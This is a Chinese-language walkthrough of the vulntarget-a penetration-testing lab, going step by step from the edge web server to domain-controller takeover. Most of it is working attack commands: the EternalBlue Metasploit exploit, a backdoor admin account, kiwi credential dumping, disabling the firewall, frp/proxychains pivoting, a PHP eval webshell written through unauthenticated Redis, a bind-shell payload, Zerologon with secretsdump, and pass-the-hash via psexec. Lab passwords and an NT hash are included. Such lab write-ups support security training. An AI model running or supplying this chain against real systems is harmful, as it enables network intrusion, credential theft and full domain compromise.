vulntarget-a靶场复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #攻击机 OS: Kali 2022 外NIC:192.168 .x.x (桥接模式)(与Win7-PC主机进行通信)#Web Server OS: Windows 7 Hostname: Win7-PCServer: 通达OA 11.3 username: win7password: admin 外NIC:192.168 .x.x (NAT模式)(与Kali通信) 内NIC:10.0 .20 .98 (仅主机模式)(与Win2016主机即可域成员进行通信)(能够Ping 通Win2016主机)#域成员 OS: Windows Server 2016 Hostname: win2016Server: PHPStudy+Redisusername: vulntarget\win2016password: Admin#123 内NIC:10.0 .20 .99 (仅主机模式)(与Win7即WEB主机进行通信)(能够Ping 通Win7-PC主机) 内NIC:10.0 .10 .111 (仅主机模式)(与Win2019即域控通信)(能够Ping 通Win2019主机)#域控 OS: Windows Server 2019 Hostname: win2019Server: AD DCusername: vulntarget\administrator password: Admin@666 内网NIC:10.0 .10 .110 (仅主机模式)(与Win2016即域内成员通信)(能够Ping 通Win2016主机)
一、边界主机
Web端攻击
拿到边界主机IP,先对其进行访问。按F12发现是通达OA的办公系统。
利用通达OA的办公利用工具进行漏洞利用。获取到webshell。
利用蚁剑进行连接。成功上线。
系统层面攻击
用nmap扫描发现主机开放135和445端口,系统版本为win7sp1版本,尝试利用永恒之蓝漏洞进行攻击。
在kali中开启MSF并调用相应模块。先搜索永恒之蓝的编号:ms17_010(正常情况下要先使用模块3进行探测是否存在永恒之蓝,由于这里是打靶,直接使用模块0,对永恒之蓝进行利用)
1 2 3 4 use 0 msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.172.132 RHOSTS => 192.168.172.132 msf6 exploit(windows/smb/ms17_010_eternalblue) > run
出现 meterpreter > 上线MSF成功。
拿到远程桌面
输入netstat -an | findstr 3389发现边界主机并没
有开启3389端口,在MSF中执行run post/windows/manage/enable_rdp 开启3389
在蚁剑中创建后门账户。(知识点:创建影子后门账户)
1 2 net user 用户名 密码 /add net localgroup administrators 用户名 /add
使用windows中的mstsc或者kali中的rdesktop进行远程桌面连接。(如果实战中遇到下面这种情况,一定一定一定不要点是!!!)
二、内网域成员主机
拿下边界主机以后在MSF中输入shell,进入该主机的命令执行端,直接执行命令会出现乱码,执行以下命令修改编码并开始收集信息…
1 2 3 4 chcp 65001 (65001 UTF-8 代码页)whoami ipconfig /all systeminfo
输入ipconfig发现当前主机有两个网段的网卡(一个公网网卡一个内网网卡):
上传fscan,利用fscan对其内网环境进行扫描(记得关闭防火墙)
1 fcan64 .exe -h 10.0.20.0 /24
但是并没有探测出其他主机…
在MSF中进行内网探测/信息收集/迁移进程/抓取明文密码/关闭防火墙…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 meterpreter> shell chcp 65001 #设置为UTF-8代码页 net user #查看用户 hostname #查看主机名 ipconfig #查看网卡信息 systeminfo #查看信息信息 arp -a #查看内网通信主机meterpreter> ps meterpreter> getpid meterpreter> migrate 进程PID meterpreter> load kiwi meterpreter> kiwi_cmd sekurlsa::logonpasswords meterpreter> netsh advfirewall show allprofile state meterpreter> netsh advfirewall set allprofile state off meterpreter> REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" " Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
使用arp -a发现内网中还存在一台IP为10.0.20.99 的机器
此时想在kali中对内网主机中的99机器进行操作,而99机器并不连接外网,只能在98机器上对其进行连接。此时就需要利用MSF来创建路由,通过路由将kali与内网中的99机器连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 use post/multi/manage/autorouteset session 1 #输入‘sessions’查看当前会话IDrun use post/windows/gather/arp_scannerset session 1set rhosts 10.0.20.1-254run use auxiliary/server/socks_proxyrun use auxiliary/scanner/portscan/tcpset ports 22-500,8000-10000set rhosts 10.0.20.99set threads 50 run
此时域成员主机开启了HTTP服务但是只有边界主机可以进行访问,而我们的kali无法进行访问,此时就需要在边界主机和攻击机搭建一个通信隧道来使得攻击机可以通过HTTP协议访问内网域成员主机。
这里我们使用frp进行隧道的搭建。利用隧道我们可以实现端口的转发和流量的代理。
我们需要将frpc(客户端)部署到目标机器上,而将frps部署到黑客的VPS(或者kali中)上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [common] bind_port = 7100 [common] server_addr = 192.168.172.129 server_port = 7100 [plugin_socks] type = tcp remote_port = 8090 plugin = socks5 use_encryption = true use_compression = true 配置文件中填写时需要把注释符号去掉
先在kali中执行./frps -c frps.ini
再在目标主机上执行frpc.exe -c frpc.ini
出现如上图所示表面搭建成功了。
正常情况下搭建好通信隧道应该用SocksCap64等工具进行利用,但是在kali中有一款工具为proxychains4 来利用通信隧道。
首先配置proxychains4的代理服务器的配置文件
1 2 3 4 5 6 7 # 编辑Proxychains配置文件 vi /etc/proxychain4.conf# 配置信息 socks5 127.0.0.1 8090 //socks5 MSF地址 代理端口 账号 密码# 测试链接 proxychains4 curl http://10.0.20.99/
也可以使用火狐浏览器的代理插件配置如下:
在火狐浏览器中访问10.0.20.99也可以成功。
此时我们已经可以访问99机器,这时我们利用工具dirsearch
对网站目录进行扫描……
可以看到是存在l.php/phpinfo.php/index.php三个目录,对其目录进行访问进一步进行信息收集……
此时可以确定该主机利用phpstudy搭建的web服务,之前扫描中又爆出该主机开放6379端口,为redis的默认端口,redis存在未授权访问漏洞,此时我们尝试连接登录内网主机的Redis服务发现未设置密码,即可尝试写入一句话木马…Success
主要是因为配置不当,导致未授权访问漏洞。进一步将恶意数据写入内存或者磁盘之中,造成更大的危害,配置不当一般主要是两个原理:
配置登录策略导致任意机器都可以登录 redis。
未设置密码或者设置弱口令。
1 2 3 4 5 6 7 # Redis链接 proxychains4 redis-cli -h 10.0.20.99# Redis写木马 config set dir C:/phpStudy/PHPTutorial/WWW/ #调整服务器配置路径 config set dbfilename 4pts.php #生成文件 set 1 "<?php eval($_POST['cmd']);?>" #写入文件 save #保存操作
访问10.0.20.99/4pts.php,发现其中没有set的一句话木马,说明漏洞利用成功。
之后我们用本地主机的蚁剑去连接。此时无法直接连接,需要走kali的socks5代理,在蚁剑中的代理设置中进行配置:
代理服务器为kali的IP地址,端口为之前用kali中proxychains4的配置端口。
测试成功后连接10.0.20.99/4pts.php。继续信息收集一波……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #执行命令 hostname ipconfig /all tasklist /svc net time /domain net group "Domain Computers" /doamin net group "Domain Controllers" /domain net group "enterprise admins" /domain #收集信息 OS:Wins16 AV:Windows DefenderDomain :vulntarget.comDomain Admins:AdministratorDomain Controller:WIN2019$ NIC:10.0 .20 .99 /10.0 .10 .111
发现该机器为win2016并且也有两个网段的网卡,说明还有内网中还有其他机器。
使用tasklist命令看是否运行着一些防病毒软件。
确实有一个windows自带的防护软件,此时需要使用命令进行关闭。
1 netsh firewall set opmode mode=disable
可以看到公用网络的防火墙确实关闭了,但是域网络防火墙并没有关闭,此时需要利用MSF生成一个正向的木马并对木马进行免杀上传到目标主机。
这里需要使用viper 这款工具来生成免杀木马。
通过蚁剑上传到目标主机点击执行以后可以看到6666端口被占用说明木马上传成功。
此时在kali的MSF中打开监听上线木马程序。
1 2 3 4 5 use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 6666 set RHOST 10.0.20.99 run
输入background/bg将该程序放到后台。(因为之前失败了几次导致会话比较乱o(╥﹏╥)o)
添加路由:
1 2 3 # 添加路由 use post/multi/manage/autoroute set session 4
添加并修改代理(默认为1080端口):
1 2 3 use auxiliary/server/ socks_proxy run
此时我们还要修改proxychains4的代理配置将其端口修改为1080端口,丢弃掉之前用于搭建边界主机通信隧道的frp代理端口。
(这里当然也可以在win2016中再加一个frp的通信隧道连接2019,但是MSF更加稳定,所以这里通过直接开启MSF的Socks5代理,利用之前在win7和win2016中建立的路由直接访问win2019)
三、域控
继续进行信息收集:
1 2 3 4 5 6 ipconfig /all -->获取DNS服务器地址:10.0.10.110 net time /doamian -->获取域控地址:win2019.vulntarget.comping win2019.vulntarget.com --> 返回地址:10.0.10.110 proxychains nmap -Pn -sT -p 80 ,443 ,8080 ,445 ,139 10.0.10.110
至此已经获取内网中域成员服务器也已经定位域控位置,接下来目标就是拿下域控,在此可直接尝试域控漏洞来进行权限提升:
CVE-2020-1472
CVE-2022–26923
CVE-2021-42287&42278
这里尝试第一种域内提权手法…
这里需要注意:将proxychains的代理配置改成MSF所起的代理信息…
这里需要准备准备CVE-2020-1472 与Impacket 下载到Kali主机上…
1 2 3 4 5 6 https://gi thub.com/dirkjanm/ CVE-2020 -1472 https://gi thub.com/SecureAuthCorp/im packet python3 -m pip install -r requirements.txt
利用CVE-2020-1472打空域控机器的密码……
绑定通往目标域的Host文件信息并使用impactet获取域控的Hash信息…
1 2 3 4 5 vi /etc/hosts10 .0 .10 .110 vulntarget.comproxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -just-dc -no-pass
使用抓取的Hash值横向倒域控的CMD下…
1 2 3 4 方式一: proxychains python3 smbexec.py -hashes aad3 b435 b51404 eeaad3 b435 b51404 ee:c 7 c 654 da31 ce51 cbeecfef99e637 be15 administrator@10 .0.10 .110 方式二: proxychains python3 psexec.py vulntarget.com/administrator@10 .0.10 .110 -hashes aad3 b435 b51404 eeaad3 b435 b51404 ee:c 7 c 654 da31 ce51 cbeecfef99e637 be15
使用John破解管理员密码…得出密码为Admin@@666
1 john --wordlist= ./pass.txt ./hash.txt --format=NT
开启RDP服务并在防火墙中添加规则对其放行…远程桌面链接!
1 2 3 4 5 6 7 8 9 10 11 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow netsh advfirewall show allprofile state //查看状态 netsh advfirewall set allprofile state off //关闭防火墙 proxychains rdesktop 10.0 .10.110 username:vulntarget\administrator password:Admin@666